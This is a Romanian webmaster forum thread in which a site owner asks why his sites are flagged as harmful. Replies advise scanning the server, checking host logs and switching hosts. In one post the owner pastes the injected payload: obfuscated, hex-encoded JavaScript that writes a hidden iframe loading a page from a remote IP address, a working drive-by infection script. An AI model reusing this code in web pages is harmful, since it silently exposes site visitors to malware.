Site suspicios (de atac raportat)

[Dragos Nicu]

Am mai intalnit asta, insa nu la site-urile mele, pe propria piele dar se pare ca am patit-o la unul dintre ele, acum nestiind prea multe despre asta vin cu intrebarile :

- de ce am primit asta
- cum pot revenii la normal
- si cum pot prevenii asa ceva

Toata problema este ca trebuie facut ceva din exterior (cred), deoarece la panoul de control nu pot avea acces, pop-ul imi blocheaza login-ul. Am incercat sa vad de linkurile externe cat de cat in mare, n-am putut rezolva, am scos scriptul de top nici un rezultat..



M-am uitat prin google webmasters, am verificat site-ul, habar n-am ce trebuie facut pentru a indrepta problema.

[anuntul]

cine iti afiseaza mesajul asta ? cei de la google ?

edit: firefox afieaza aia...am obs acum dar daca te uiti in google langa fiecare link ai o avertizare "Acest site poate dăuna computerului dvs." , am patit-o si eu , tin sa iti zic ca mie imi apareau chestiile alea din cauza unor scripturi de ads instalate in pagina, am dat o reverificare din g webmasters si in 3 4 zile a fost ok..

[Luciano]

scaneaza pe server sa nu ai vreun fisier infectat cu vreun virus. Am patit asa ceva la siteul unui client, in momentul in care unul din angajatii din firma respectiva s-a apucat sa modifice ceva pe site (ca deh... romanii's toti webdesigneri) si a lucrat cu un programel care facea animatii in flash (problema era ca animatia swf'ul era virusat.). Ne-am dat seama doar cand am vazut ca au scazut vizitatorii si la o analiza mai atenta am vazut ca de fapt nu mai veneau din google. Verificand dupa cautari unde siteul aparea destul de in fata am vazut acel mesaj de la google. Deci parerea mea prima data vezi la tine in curte daca nu ai ceva probleme.
Bafta

[Dragos Nicu]

hmm o sa ma uit iara mai atent.. cert este ca eu nu am pus nimic care sa afecteze, daca mai stie cineva ceva despre sa nu ezite sa zica..

EDIT: am rezolvat pana la urma, un gandacel isi facea prezenta prin script.. ce penal, important e ca am rezolvat

[Andrei Luca]

Uita-te prin logurile de la host si vezi cum a ajuns acel "gandecel" acolo.
Dupa ce afli poti sa spui ca ai rezolvat.

[Luciano]

nu strica din cand in cand sa ne uitam si in gradina noastra inainte sa tragem concluzii . Daca iti dai seama de unde a ajuns acol spune-ne si noua cel putin sa stin de ce sa ne ferim si noi

[Dragos Nicu]

defapt n-am rezolvat nimic, tot ce-am facut atunci era ceva temporar.. si defapt google n-o gresit cu nimic, siteurile mele sunt sub atac, adica suporta o injectare de script.. cum? nu stiu, ce si unde da :

<script>
<!--
var d=document,kol=561;
function O10H48AAAC3420C68(H48AAAC3421464){ var H48AAAC3421C5D = 16; return( parseInt(H48AAAC3421464,H48AAAC3421C5D));}function H48AAAC342284E(H48AAAC3422C4A){  var H48AAAC3423046='';for(H48AAAC3423442=0; H48AAAC3423442<H48AAAC3422C4A.length; H48AAAC3423442+=2){ H48AAAC3423046 += ( String.fromCharCode (O10H48AAAC3420C68(H48AAAC3422C4A.substr(H48AAAC3423442, 2))));}return H48AAAC3423046;} document.write(H48AAAC342284E('3C7363726970743E696628216D796961297B642E777269746528273C494652414D45206E616D653D4F31207372633D5C27687474703A2F2F37372E3232312E3133332E3137312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A323331313535292B27653336366336395C272077696474683D343135206865696768743D353537207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F494652414D45203E27293B7D766172206D7969613D747275653B3C2F7363726970743E'));
//-->
</script>

Daca cineva o mai avut asemenea probleme, stie ceva despre sau cum se poate rezolva, orice informatie va rog sa imi trimiteti un PM, mi-ar fi de mare folos.

[Andrei Luca]

Posibil sa fi fost atacat webhost-ul unde ai gazduite site-urile.
Cauta in log-uri (dupa data fisierului pe care l-ai gasit modificat).

Toate site-urile sunt bazate pe Wordpress?

[Dragos Nicu]

nu chiar, insa stiu ca este vina host-ului si securitatii lui, dar am incercat sa fac ce-mi sta in putinta, macar sa stopez actiunile lor temporar, acum sa vad ce fac mai departe.

[Nosfer]

nu merita sa dai bani pe un hosting care are probleme de securitate. treci la ceva mai bun.